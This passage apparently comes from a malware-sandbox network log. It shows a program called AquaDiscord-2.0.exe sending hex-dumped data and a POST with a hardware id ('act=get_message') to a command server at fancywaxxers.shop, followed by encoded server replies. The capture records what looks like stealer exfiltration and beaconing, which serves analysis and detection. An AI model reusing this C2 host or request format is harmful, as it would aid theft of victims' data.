[UUx\Fe66rawp>K+6U55`8bj wK4!FBSkTDa}@z?M6$C;*bWYq5+y{`\=?muoAQ-qu5<qW "0TAgKxv_j)!swELG0#@
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: ef be 45 bf 44 33 41 20 7a f7 7f 3e 78 2f cb fe 5c d9 fe b1 b2 e2 65 4d 26 12 87 08 b7 d0 b7 8f 93 6f e4 a6 01 ba 1a 91 4a 43 93 f9 51 bc 4a c0 03 8b 5d 3f a6 61 a9 82 77 ca 31 c1 82 a7 50 38 e2 00 d7 f0 e0 20 ce a3 44 e5 c5 2c fb a1 c9 47 1e d8 79 f2 ed 9b d7 7f e8 ba 59 ce 0f a1 47 3a 2f ce 01 e2 15 88 a8 30 94 8f 02 ae 6d 05 4f 9e c0 a5 a0 5e ff bf 53 6b 6d 2e 58 ab b7 ef d7 1b b4 ed c2 f5 eb b1 c8 3b b3 d5 be bc 66 c5 a7 dc aa bd 30 5e bc 2b f2 0b c5 59 a2 7e 96 5e 0d 01 89 38 c8 6d 72 ef ba 15 4f 80 3c 70 fe 3e 47 8a a8 c1 0d c5 95 a2 76 e5 ed d2 c3 7e 97 10 78 8d a6 77 0a 90 75 59 ea 2b 42 16 b5 a4 54 51 9c 08 78 23 aa 6e 09 32 1b 42 5c 01 61 a8 60 6e 58 4e 6c a4 5a eb 19 43 5f 48 fd 9f 88 17 87 48 2d 00 b3 88 66 c7 e9 a1 76 82 83 8b 3f dd d3 d1 eb Data Ascii: ED3A z>x/\eM&oJCQJ]?aw1P8 D,GyYG:/0mO^Skm.X;f0^+Y~^8mrO<p>Gv~xwuY+BTQx#n2B\a`nXNlZC_HH-fv?
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: e9 72 70 2c b0 08 b8 13 e9 25 1a 9a dc a4 cc 64 c4 34 b2 4a 1e b8 cc 97 5f 7a 20 c1 29 04 f5 8f 60 22 be 79 44 08 65 5c c1 01 1c 02 cf 5e 09 cc ea 73 2b 02 81 d0 46 68 21 c3 1f 06 f5 43 23 23 03 e1 30 bf 75 8d 5e 7e 86 45 53 63 20 dd 9c f6 fb 04 d9 f4 e8 f1 f0 8c 08 ed 0a ae 8a 37 42 61 f5 ad 92 35 d9 2a e0 cc a4 3c 44 74 e3 5b 1e 40 e2 11 81 d2 b7 7c 4d fc 35 0c db 22 35 d7 2a 7d 6e 92 26 9a 0f 48 0a 4f 38 19 eb 73 a7 30 67 26 2f ee 5f cf 1d 52 c7 0c 07 3e 1a 1c 0e 3e b6 a0 dc 5d c4 68 d5 16 b3 d3 96 6a 5e 08 66 5c 3b 4e 16 5b 7f ad 69 3b 2c df ba 28 69 5f 1f a6 21 da 56 ce 09 e3 a6 08 0a 8c 04 61 40 30 06 c6 d8 06 fd bb 04 e8 23 0b 46 62 c0 36 9a 56 75 ae d8 29 06 13 8e 48 b7 08 d1 f7 b2 6b a6 7e 12 1a 97 2a 78 9d f3 36 1e 6d 7f 5e 80 b9 2a 7c d0 2e 54 Data Ascii: rp,%d4J_z )`"yDe\^s+Fh!C##0u^~ESc 7Ba5<Dt[@\|M5"5}n&HO8s0g&/_R>>]hj^f\;N[i;,(i_!Va@0#Fb6Vu)Hk~x6m^\|.T
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: 54 72 6d d6 a3 5e 5a 04 4a 8e c5 5d 06 57 47 13 51 ad a4 8b a7 27 b3 34 f0 d0 5c cc b8 75 6e 5d 04 cf 25 2c 85 ad 75 81 6e 0e 21 e1 19 c9 8f af c4 fb 22 a9 06 08 ac 91 8a 5f b7 0c 99 5f 5d d6 2d 18 43 4a 20 42 b5 9f 4f 80 18 ee e9 82 4c d2 79 18 f9 7c 17 0e 76 79 54 0f 98 a9 f8 c8 f2 76 93 83 a4 73 80 fd 7e b6 38 6b 09 a4 b6 51 2a d6 02 67 c1 69 30 e5 ae 28 06 34 af 98 52 77 c0 c6 a0 56 66 e5 c0 03 e5 bb 9b 03 ba 18 22 aa 42 4d c6 3d af 17 61 b2 29 63 ac 5b 65 67 81 fc 1f 14 30 27 6d 5a d3 46 0a da 77 1d e1 41 9b 83 12 2a 21 da 84 a1 39 0e 18 c6 c3 2d 48 60 f9 08 ee 12 05 bb cb 96 85 e9 ed c6 bd e2 a0 6c f3 f6 de 00 14 d0 60 3f d1 44 54 16 6a 15 11 a2 e7 74 4a 32 a0 be 83 e3 c5 aa e0 34 c3 fd c3 c6 fa 61 c7 c1 8d a6 0f 29 87 c7 d9 8f 2a 53 54 94 a9 59 06 Data Ascii: Trm^ZJ]WGQ'4\un]%,un!"__]-CJ BOLy\|vyTvs~8kQgi0(4RwVf"BM=a)c[eg0'mZFwA!9-H`l`?DTjtJ24a)*STY
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: d9 a2 43 6f a5 81 6f 7a b5 25 6c 49 6a 3d 20 c8 f1 42 14 fc 5c 1c 2d 07 55 6b f4 36 4b 2a 6e 67 7a d3 62 8b 2c fc 68 c2 05 a6 b4 61 9b 22 b8 83 92 e0 d0 dc 43 40 ba 39 35 6d f7 f4 ad cb 75 c7 15 65 ca 1b 75 35 40 37 4f 10 7e e7 31 7a 1a 4d 7f bb 31 6a 99 db df 3b c6 ff dd 16 fa a2 4e b8 ce 19 22 33 b2 02 f8 ef 99 1b f6 23 49 8b fc 7c 1f 61 fa bc 75 f8 9e 82 21 ee 5f 38 de 71 5d c0 8e 51 46 fc 84 f8 54 af 20 db 16 b0 bf cb 12 81 46 47 ee 1e 12 3f e3 30 57 9a d5 a5 86 aa a1 b4 40 7d f2 e0 d0 47 5c d2 41 2f 43 ed 1e c5 3e c7 b2 1d a1 67 64 49 7d 13 b8 f4 3a dd ce af 9c a1 f2 83 91 48 cb 31 4c d5 03 d2 73 d6 4f ab 2b 0d a4 69 5c fe 76 8d e1 11 24 93 44 61 85 7b 20 b4 9b a8 10 8a 88 02 27 06 c5 6e dd b5 18 3f 2a 72 48 fc e8 ea b3 f9 86 50 05 92 57 93 76 89 09 Data Ascii: Cooz%lIj= B\-Uk6Kngzb,ha"C@95mueu5@7O~1zM1j;N"3#I\|au!_8q]QFT FG?0W@}G\A/C>gdI}:H1LsO+i\v$Da{ 'n?rHPWv
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: 99 3a 28 05 a9 cc 30 57 5c 6a bf a0 a7 af a2 a8 72 5f f9 19 d2 06 d9 67 30 1c 23 a3 db 7f 22 8c 5e eb fa c8 6c 27 83 28 00 ca 4b c7 cb cb 0d bc e2 00 3e 78 41 bb 3e 5c da d1 8f 33 95 71 19 10 fa fd 82 d3 dd 8c 3f eb b6 d7 b5 1b 15 af 67 a8 70 65 ce 91 f4 b7 ec 2d 17 b5 ae d2 b8 c1 1f 82 45 b7 5a b9 7c e7 d8 da 31 73 48 4a 66 a5 ca a6 3d 3b 7d d2 d6 fb 2a d0 a7 a5 1f cd 68 0d cd a7 a9 73 13 82 77 a5 4f d9 c0 71 f0 df 94 fe 6f 3d 83 37 0d 01 a1 00 ea c1 4b 1a db 70 84 83 9d bf ad 8d 7f a0 67 07 6d bc 2e 08 da 1a 3b c9 a9 62 1e dc 41 3e 96 df c5 e6 f4 1a 0b c4 28 65 0e be 97 03 5a 47 68 d7 3f a7 e5 2a b6 dc 0e d0 7e 1c fe f9 8e f1 2d 2d 30 5d 12 d5 80 a8 f4 3e 71 24 08 13 65 2d 00 6e a1 d0 bc 4b a7 9c 09 93 a2 c3 ae 52 32 bb ea f2 bd ba a5 fe 26 79 4a 8d 09 Data Ascii: :(0W\jr_g0#"^l'(K>xA>\3q?gpe-EZ\|1sHJf=;}hswOqo=7Kpgm.;bA>(eZGh?~--0]>q$e-nKR2&yJ
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: c3 3a b7 96 8c 80 2f ac 66 01 fc bc a5 02 4d 55 17 01 b1 cf fa 02 9e 8a 28 75 a9 40 68 ec 79 c7 aa 97 c5 1d 36 84 eb 5b 88 7b 0e 72 c7 7c 41 bd 3a a3 6f 21 66 3d 0c a6 c1 a1 17 16 c3 55 fa e0 c3 b2 2d 13 54 2a 76 d6 9f 86 0a c3 41 92 a8 f3 ab 95 3a 47 c2 64 b6 46 03 cb 06 b8 35 ba 23 89 84 8e 36 c4 a5 de 42 3f be 8b 42 20 a9 cd a4 f1 f6 ba b1 53 53 60 aa cc 9e 62 94 d9 3d 0b e1 0d 89 d5 bd d2 ef 0a 88 5e a2 c2 5a 56 7d 61 51 61 93 b8 77 e6 6d 98 23 6e 5a 57 30 e7 a1 d8 c5 2b 2e 11 c6 bc 2a fd 6e 96 5e a6 a3 b9 04 7f 6e 3f 8c f0 98 4e 8e 67 74 d7 6f d6 ee 9d e0 39 76 c5 54 18 15 4a 5d 9f 19 a2 ef 86 95 66 79 75 4a b1 65 e9 d3 6e da 19 00 47 85 99 ad 79 c3 d7 f5 26 b2 03 e2 37 ad 74 db b3 19 52 9c ab 06 d4 6b 6d 84 ae 1e b6 c7 51 ac ae c2 65 55 3d 70 49 bb Data Ascii: :/fMU(u@hy6[{r\|A:o!f=U-TvA:GdF5#6B?B SS`b=^ZV}aQawm#nZW0+.n^n?Ngto9vTJ]fyuJenGy&7tRkmQeU=pI
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: af 77 7d 23 51 eb af e6 d6 db f3 01 1d d1 82 6f 8c 97 07 47 e4 c0 3b 19 3d 24 78 da 27 9a 6e 1e f2 63 bb 65 7f b2 c9 d5 ad 1f cf 84 35 c0 c9 75 3b 75 fe cf 00 c7 d5 4a 58 22 ae 90 17 e8 ac dd f6 ba 75 d7 f9 28 f5 07 12 ed 57 7b eb 5d 92 1c f8 2d 77 4a 17 f7 bc 4e 1c c2 71 55 02 aa a4 6f 7e 54 49 78 8b 21 da d6 a0 b0 83 ca bb d1 c7 f6 1a c1 8e 90 6c 15 38 5c 7f 3d 2d cc 4d a5 71 b7 09 ef e9 d1 77 9d f8 bc a8 a1 98 f9 ab 66 69 1d e2 b7 88 42 9f 1d a8 5d c9 a1 03 77 e4 36 ec af ad 7d 14 c1 73 5f d0 45 69 18 c3 43 82 4a 8a 09 96 d9 82 af 8f 6a 7d 8a 7e b3 c9 3e 52 ec 01 65 3b 79 a9 4b 7b 51 29 2e d8 b9 f1 62 e1 bb ce cd 91 bc 2c 0c c7 cd 4c 7a 1a 03 e1 e6 5c 9b b1 e3 6b 6f 6b a2 8f 60 f5 5b b9 9d 4e 06 8a 6b b5 71 a4 2a 3e 7c 62 b0 86 5e 9b d8 1c 8d 30 6c f2 Data Ascii: w}#QoG;=$x'nce5u;uJX"u(W{]-wJNqUo~TIx!l8\=-MqwfiB]w6}s_EiCJj}~>Re;yK{Q).b,Lz\kok`[Nkq*>\|b^0l
2024-12-30 19:40:12 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r7791e1ojn3ggnmhjdrm5ovgdb; expires=Fri, 25 Apr 2025 13:26:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2YH2AdJwncy1jMKO1M1f31H%2FQT83qy6qiJaWBjinwVPvi562fKjyawl%2FN6as1h34vUptAalxGHCrbVfSFSLam7LoW03vvf5vSLMmO1RMGtmOcalLhQ9cRNzJUJjMqqw%2BGSX1mA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa47ffb2df41899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1567&rtt_var=857&sent=201&recv=586&lost=0&retrans=0&sent_bytes=2843&recv_bytes=571480&delivery_rate=1103552&cwnd=153&unsent_bytes=0&cid=6b4bb8b8f1ae5756&ts=3519&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:12 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: fancywaxxers.shop
2024-12-30 19:40:12 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 38 39 39 30 38 33 34 34 30 26 6a 3d 26 68 77 69 64 3d 41 30 43 33 30 33 38 30 39 32 36 39 43 41 43 42 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--899083440&j=&hwid=A0C303809269CACBC82A8148C6E54400
2024-12-30 19:40:13 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qfcael3jg0sveu95qtt5oh46vf; expires=Fri, 25 Apr 2025 13:26:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2T%2BcCqCmaKpDEAMf2edZEP6WjJ4cx6rHRs0P85Eon%2BtCLJDBq8BcZMHFvjz3qwI0Ot4czzqyxDlMpmP0A7jgbOctzwZe5atVQwBAx1Df1r0dw88gJOGrxsjmQ%2FGADit8v4nR%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4801478d20fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13528&min_rtt=1524&rtt_var=7812&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=987&delivery_rate=1916010&cwnd=252&unsent_bytes=0&cid=0ca75c599880d7f1&ts=471&x=0"
2024-12-30 19:40:13 UTC	236	IN	Data Raw: 33 36 34 38 0d 0a 70 51 75 4b 41 71 51 72 38 75 54 74 7a 33 66 4a 47 4f 38 68 56 75 73 39 70 77 36 70 57 4b 4f 6b 2b 77 68 77 4b 37 61 2b 43 5a 58 2b 63 4b 68 6b 30 41 6e 49 31 63 48 74 45 75 73 69 33 67 31 30 6a 78 2b 64 4c 50 4d 52 31 2b 32 4a 61 6b 4a 54 35 64 4d 35 32 73 6f 39 2b 6b 61 57 58 6f 4b 56 31 61 59 52 6e 31 65 75 55 78 36 2b 54 35 64 36 32 52 54 68 31 49 4a 4c 43 6d 62 69 32 31 6a 6c 6c 56 2f 4a 64 74 4a 6e 74 4b 2b 50 6e 67 61 6a 61 59 52 78 4e 39 31 51 31 58 66 6a 59 66 61 51 75 48 73 55 65 4d 44 74 4f 76 37 57 54 4f 52 4c 36 47 61 4b 71 74 69 49 4a 49 56 4c 70 42 4e 76 6d 47 6a 58 65 75 30 70 37 4e 57 71 4d 51 4a 61 31 38 68 41 2b 35 52 66 37 55 6e 63 47 72 6e 64 6f 61 34 6b 76 6e Data Ascii: 3648pQuKAqQr8uTtz3fJGO8hVus9pw6pWKOk+whwK7a+CZX+cKhk0AnI1cHtEusi3g10jx+dLPMR1+2JakJT5dM52so9+kaWXoKV1aYRn1euUx6+T5d62RTh1IJLCmbi21jllV/JdtJntK+PngajaYRxN91Q1XfjYfaQuHsUeMDtOv7WTORL6GaKqtiIJIVLpBNvmGjXeu0p7NWqMQJa18hA+5Rf7UncGrndoa4kvn
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 6d 4d 53 51 4f 52 65 4a 52 6c 79 43 6a 33 33 5a 51 2f 51 47 33 6e 69 45 6a 6a 34 6a 33 35 55 75 49 54 67 63 2b 41 70 45 47 6b 58 36 64 51 5a 37 74 5a 31 32 6a 52 50 4a 4c 75 69 6a 68 43 51 76 2b 4b 65 73 54 55 63 76 68 4c 79 6b 69 2f 75 4d 4b 4f 44 76 35 54 6c 32 59 5a 6a 6b 33 7a 59 50 6f 4c 30 64 53 59 61 6c 74 48 68 4d 68 61 70 70 55 79 33 57 7a 74 63 72 2f 56 70 2f 6f 78 6a 58 4b 6d 62 43 66 53 54 76 4a 2b 33 52 7a 53 36 34 70 5a 43 6c 6e 48 33 30 66 59 31 6a 72 4f 57 2b 39 54 77 71 2f 55 67 78 61 61 4c 6f 35 43 4d 5a 68 48 34 6a 33 43 41 75 6e 51 73 6e 6f 53 47 64 37 74 5a 4b 58 71 5a 4c 78 79 34 42 6d 48 6c 4a 7a 37 48 71 39 65 6f 47 41 6b 6f 32 6a 72 50 74 30 33 30 65 61 4c 63 54 4e 52 2b 2b 70 73 78 38 78 69 75 6d 76 51 58 5a 43 69 70 71 30 6d 2f Data Ascii: mMSQOReJRlyCj33ZQ/QG3niEjj4j35UuITgc+ApEGkX6dQZ7tZ12jRPJLuijhCQv+KesTUcvhLyki/uMKODv5Tl2YZjk3zYPoL0dSYaltHhMhappUy3Wztcr/Vp/oxjXKmbCfSTvJ+3RzS64pZClnH30fY1jrOW+9Twq/UgxaaLo5CMZhH4j3CAunQsnoSGd7tZKXqZLxy4BmHlJz7Hq9eoGAko2jrPt030eaLcTNR++psx8xiumvQXZCipq0m/
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 33 69 46 72 55 64 4f 78 72 79 50 36 79 66 44 6c 5a 31 49 78 78 78 73 67 37 78 57 32 53 57 37 62 57 6d 4c 38 47 38 58 47 4a 64 78 6d 71 54 2b 39 62 32 32 6a 58 31 4c 64 4b 41 46 4c 31 78 45 54 42 77 46 6e 68 61 35 52 43 68 70 4b 50 69 54 79 72 53 64 6c 4c 4a 34 42 74 78 6a 6a 45 4b 74 72 75 77 6c 31 45 61 4d 58 61 57 75 50 32 4f 65 46 78 34 30 57 37 71 4b 43 33 4f 66 78 66 76 47 30 46 6f 41 2b 65 66 66 77 6f 31 2b 43 4b 52 77 46 36 6a 38 78 34 39 4e 4e 43 35 44 50 77 54 4c 6d 63 33 49 52 4f 68 58 6d 38 56 6a 65 49 57 74 52 30 37 47 76 49 2f 72 4a 38 4f 56 6e 55 6a 48 48 47 79 44 76 46 62 5a 4a 62 74 74 61 59 76 77 62 78 63 59 6c 33 47 61 70 50 37 31 76 62 61 4e 66 55 74 30 6f 41 55 76 58 45 52 4d 48 41 57 65 46 72 6c 45 4b 47 6b 6f 2b 4a 50 4b 74 4a 32 55 Data Ascii: 3iFrUdOxryP6yfDlZ1Ixxxsg7xW2SW7bWmL8G8XGJdxmqT+9b22jX1LdKAFL1xETBwFnha5RChpKPiTyrSdlLJ4BtxjjEKtruwl1EaMXaWuP2OeFx40W7qKC3OfxfvG0FoA+effwo1+CKRwF6j8x49NNC5DPwTLmc3IROhXm8VjeIWtR07GvI/rJ8OVnUjHHGyDvFbZJbttaYvwbxcYl3GapP71vbaNfUt0oAUvXERMHAWeFrlEKGko+JPKtJ2U
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 6e 6b 4c 36 50 4f 33 75 69 54 73 47 65 65 2f 6e 52 39 75 57 57 4c 6c 58 79 30 6d 30 68 6f 43 69 4d 66 41 73 32 6d 30 6b 70 6d 2f 4c 58 50 34 7a 30 64 43 75 65 79 67 5a 68 49 68 38 7a 65 6c 37 35 31 48 4d 57 49 69 58 68 62 6b 48 73 47 36 4d 53 6a 53 42 64 74 35 71 33 68 33 4c 77 38 78 2f 48 47 33 54 31 58 50 67 34 33 48 34 61 2f 41 65 75 35 65 63 35 43 76 6d 54 4e 70 34 5a 61 49 4f 30 30 62 49 43 2f 58 47 6a 46 42 45 41 4f 58 72 53 2f 7a 50 51 4f 5a 55 30 6d 69 6b 69 71 62 2f 52 62 78 61 6e 56 63 76 32 47 75 58 55 6f 5a 6f 39 64 53 72 5a 42 74 64 77 75 73 78 78 4a 59 2b 75 55 6a 33 52 4a 6a 64 69 37 73 39 68 57 43 6f 5a 77 58 54 64 2f 56 57 77 57 76 61 77 70 64 48 4d 6c 72 65 38 45 66 6d 34 58 71 38 58 6f 74 66 69 36 65 58 67 69 4f 73 53 61 78 69 45 72 68 Data Ascii: nkL6PO3uiTsGee/nR9uWWLlXy0m0hoCiMfAs2m0kpm/LXP4z0dCueygZhIh8zel751HMWIiXhbkHsG6MSjSBdt5q3h3Lw8x/HG3T1XPg43H4a/Aeu5ec5CvmTNp4ZaIO00bIC/XGjFBEAOXrS/zPQOZU0mikiqb/RbxanVcv2GuXUoZo9dSrZBtdwusxxJY+uUj3RJjdi7s9hWCoZwXTd/VWwWvawpdHMlre8Efm4Xq8Xotfi6eXgiOsSaxiErh
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 53 76 77 30 72 49 37 41 78 2f 73 30 58 47 73 79 32 50 4a 59 2b 55 65 67 64 79 4f 74 52 36 4d 4b 34 52 41 4c 4a 4e 32 33 6e 54 42 49 50 48 42 6c 55 51 66 57 73 62 36 58 73 62 4e 5a 4f 77 79 6e 56 71 42 68 39 79 4b 47 5a 4d 70 6f 32 74 6d 32 6b 66 66 50 4a 46 6f 32 63 32 74 5a 54 4a 4d 67 75 31 48 30 50 46 42 35 55 47 54 62 62 6d 47 6d 34 35 43 6d 6e 4f 4d 63 44 4f 52 5a 63 38 36 2b 77 6e 51 79 5a 4d 77 42 6c 4c 42 35 32 58 59 31 58 2b 2f 53 76 64 75 74 72 4f 36 74 6a 57 6e 61 36 4e 49 5a 37 4e 62 6e 6a 2b 52 49 50 6e 38 6f 58 4a 44 66 39 48 31 57 76 33 74 53 66 70 4e 35 33 36 72 76 4b 47 2b 4f 76 35 52 6a 52 49 30 6f 58 54 56 62 4a 6b 58 30 4e 53 33 63 43 68 70 35 59 39 44 78 2f 4a 64 7a 56 62 56 55 61 71 4a 6c 4b 63 35 68 32 75 72 55 47 43 33 45 74 4e 33 Data Ascii: Svw0rI7Ax/s0XGsy2PJY+UegdyOtR6MK4RALJN23nTBIPHBlUQfWsb6XsbNZOwynVqBh9yKGZMpo2tm2kffPJFo2c2tZTJMgu1H0PFB5UGTbbmGm45CmnOMcDORZc86+wnQyZMwBlLB52XY1X+/SvdutrO6tjWna6NIZ7Nbnj+RIPn8oXJDf9H1Wv3tSfpN536rvKG+Ov5RjRI0oXTVbJkX0NS3cChp5Y9Dx/JdzVbVUaqJlKc5h2urUGC3EtN3
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 53 6f 57 53 5a 48 34 2b 49 6d 7a 2b 35 34 37 44 50 77 62 74 6e 56 70 61 34 6b 72 6c 7a 58 51 69 79 43 65 4a 52 6c 36 44 2f 45 6c 4a 4e 36 57 31 50 4f 79 55 6a 59 6c 47 66 57 4c 65 56 68 78 64 43 49 2f 51 2b 51 54 72 64 4d 4c 34 4e 7a 36 58 33 74 4b 5a 58 34 31 48 77 4a 61 4d 7a 7a 58 66 44 30 53 4d 6c 47 39 31 6e 45 68 71 57 48 4f 35 68 69 75 48 6c 75 33 47 72 66 53 74 67 30 78 38 37 4a 63 54 51 54 30 75 31 5a 34 4d 68 6b 76 31 62 56 54 6f 71 69 6f 76 34 77 2f 47 75 6d 53 78 32 75 43 63 52 62 38 54 72 69 79 35 68 5a 49 56 2f 45 7a 32 6a 6a 6c 47 48 49 54 75 46 4f 78 74 58 65 2b 30 61 61 4b 61 5a 47 47 74 78 75 36 6a 6e 6a 4e 74 50 38 6f 30 6f 71 66 65 4c 61 66 64 2f 70 63 38 46 53 2f 6b 57 75 79 34 43 41 52 4a 6f 76 67 52 49 5a 71 55 7a 50 4f 65 63 64 31 Data Ascii: SoWSZH4+Imz+547DPwbtnVpa4krlzXQiyCeJRl6D/ElJN6W1POyUjYlGfWLeVhxdCI/Q+QTrdML4Nz6X3tKZX41HwJaMzzXfD0SMlG91nEhqWHO5hiuHlu3GrfStg0x87JcTQT0u1Z4Mhkv1bVToqiov4w/GumSx2uCcRb8Triy5hZIV/Ez2jjlGHITuFOxtXe+0aaKaZGGtxu6jnjNtP8o0oqfeLafd/pc8FS/kWuy4CARJovgRIZqUzPOecd1
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 32 52 38 48 70 66 2f 65 55 63 76 4a 47 35 55 6d 46 6b 62 7a 32 42 62 68 35 6d 57 73 55 76 55 37 69 4f 39 70 6f 79 74 32 57 66 51 46 53 67 4e 6b 39 34 4e 52 34 37 58 62 68 66 4b 57 4d 6e 61 30 4f 73 55 75 49 55 68 53 64 66 70 4a 4b 6d 79 33 54 31 63 4e 35 41 55 6e 51 39 32 7a 50 38 45 72 70 54 39 52 6e 73 4a 53 6b 74 69 2b 4e 54 5a 70 31 4f 4c 68 34 31 57 44 51 50 74 66 69 79 57 49 6c 58 73 37 6e 63 4b 33 45 55 65 77 31 38 6e 2b 48 31 62 65 58 45 50 6c 49 6d 32 4a 39 6e 41 37 66 51 70 6c 73 39 70 47 44 52 78 51 62 39 49 64 68 2b 50 4a 6e 78 30 37 6c 53 59 57 52 76 50 59 46 75 48 6d 5a 61 6a 32 67 55 66 55 6c 30 78 62 6c 6b 6f 68 37 4f 56 48 61 79 6b 50 77 34 57 4c 2b 4d 70 45 59 74 4c 53 43 70 51 61 54 62 4c 56 74 4c 72 68 32 6c 6b 50 52 4f 5a 62 56 77 33 Data Ascii: 2R8Hpf/eUcvJG5UmFkbz2Bbh5mWsUvU7iO9poyt2WfQFSgNk94NR47XbhfKWMna0OsUuIUhSdfpJKmy3T1cN5AUnQ92zP8ErpT9RnsJSkti+NTZp1OLh41WDQPtfiyWIlXs7ncK3EUew18n+H1beXEPlIm2J9nA7fQpls9pGDRxQb9Idh+PJnx07lSYWRvPYFuHmZaj2gUfUl0xblkoh7OVHaykPw4WL+MpEYtLSCpQaTbLVtLrh2lkPROZbVw3
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 7a 55 37 35 34 30 44 48 53 4a 52 6c 74 5a 65 6a 39 30 48 37 49 5a 78 43 66 59 42 38 39 47 33 46 43 64 66 57 69 6a 31 4a 48 38 62 54 52 64 76 71 50 37 6f 32 30 32 36 54 6e 72 48 67 51 61 4e 64 67 46 5a 75 30 33 48 39 52 39 30 52 79 2b 79 49 63 51 52 6a 68 76 78 41 77 4a 42 50 75 48 66 55 53 62 6d 46 76 4c 77 38 67 58 4c 62 45 32 57 4f 56 73 56 30 35 68 50 73 37 36 35 64 42 55 48 4f 36 46 6a 38 6b 6b 65 34 4f 38 64 59 6f 35 4f 71 39 7a 75 69 53 49 34 58 4f 35 6c 45 37 45 50 2f 59 4f 48 65 6f 57 77 43 62 4e 76 4d 57 50 44 4b 51 62 6c 53 38 32 32 5a 76 5a 69 32 47 76 39 52 32 6b 6b 44 6e 30 6e 6a 5a 39 6c 76 31 2f 61 4e 5a 53 70 7a 31 38 6b 34 77 63 4a 41 33 6e 4c 54 41 49 76 56 69 76 6f 61 6e 55 54 41 45 51 53 4b 61 65 6c 69 2b 42 50 61 37 72 4a 6c 4a 6e 4b Data Ascii: zU7540DHSJRltZej90H7IZxCfYB89G3FCdfWij1JH8bTRdvqP7o2026TnrHgQaNdgFZu03H9R90Ry+yIcQRjhvxAwJBPuHfUSbmFvLw8gXLbE2WOVsV05hPs765dBUHO6Fj8kke4O8dYo5Oq9zuiSI4XO5lE7EP/YOHeoWwCbNvMWPDKQblS822ZvZi2Gv9R2kkDn0njZ9lv1/aNZSpz18k4wcJA3nLTAIvVivoanUTAEQSKaeli+BPa7rJlJnK
2024-12-30 19:40:13 UTC	1369	IN	Data Raw: 2b 68 49 2b 31 44 33 51 62 48 58 75 37 77 31 6f 31 47 38 62 43 48 61 43 4f 46 72 35 54 37 43 6c 72 42 37 49 32 33 43 37 6d 6a 46 39 6c 71 39 5a 4e 56 7a 68 4b 32 38 2f 69 4c 35 55 35 39 6e 47 71 4a 78 78 46 6e 65 44 38 44 4d 73 48 49 30 52 64 33 32 51 4f 62 53 65 65 6c 33 33 45 36 6c 31 64 71 67 51 71 56 63 6e 46 51 35 6f 51 58 4d 50 66 38 41 31 4e 58 4a 58 52 39 2b 77 6f 31 46 31 4d 64 79 79 46 62 70 59 72 32 31 6a 71 59 4f 6d 6d 79 56 55 78 43 67 65 38 42 59 6e 52 33 68 37 6f 4e 48 41 6d 54 52 36 46 50 50 6e 57 65 39 56 50 42 35 75 35 79 65 72 44 43 71 63 71 31 6a 44 4c 38 49 78 45 7a 64 44 63 76 79 7a 6b 63 38 48 66 6e 73 54 63 44 4a 62 39 35 56 6b 56 69 2b 6b 62 75 6e 4a 37 41 71 69 6e 6b 56 6e 56 4c 6d 4f 35 73 78 79 74 4f 75 52 69 42 4e 67 73 70 7a Data Ascii: 